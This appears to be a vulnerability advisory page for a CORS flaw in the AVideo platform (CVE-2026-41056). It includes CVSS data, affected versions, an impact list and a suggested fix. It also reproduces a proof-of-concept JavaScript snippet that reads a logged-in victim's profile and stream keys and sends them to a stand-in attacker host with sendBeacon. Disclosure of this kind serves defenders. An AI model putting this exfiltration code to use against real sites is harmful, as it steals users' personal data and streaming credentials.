🛡️ CVE-2026-41056 — avideo
Description
AVideo CORS PoC
// Step 1: Steal user profile data (PII, admin status, stream keys) fetch('https://TARGET/plugin/API/get.json.php?APIName=user', { credentials: 'include' }) .then(r => r.json()) .then(data => { document.getElementById('result').textContent = JSON.stringify(data, null, 2); // Exfiltrate to attacker server navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({ email: data.user?.email, name: data.user?.user, isAdmin: data.user?.isAdmin, streamKey: data.livestream?.key, streamServer: data.livestream?.server }) ); });Loading...``` **Step 2:** Victim visits the attacker page while logged into the AVideo instance. **Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with: ``` Access-Control-Allow-Origin: https://attacker.example Access-Control-Allow-Credentials: true ``` **Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys. **Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim. ## Impact - **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page - **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking - **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts - **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim - **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor ## Recommended Fix Replace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` p
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Affected software
CVE-2026-41056 is recorded against 2 packages.
- avideo (fixed in 29.0)
- wwbn/avideo
Timeline and source
Published on 21 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| avideo | — | 29.0 |
| wwbn/avideo | — | — |
References
Similar Threats
- Critical CVE-2022-26842
- Medium CVE-2022-28710
- Critical CVE-2022-28712
- High CVE-2022-29468
- High CVE-2022-30534
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running avideo?
CVE-2026-41056 carries CVSS 8.1 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-41056 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.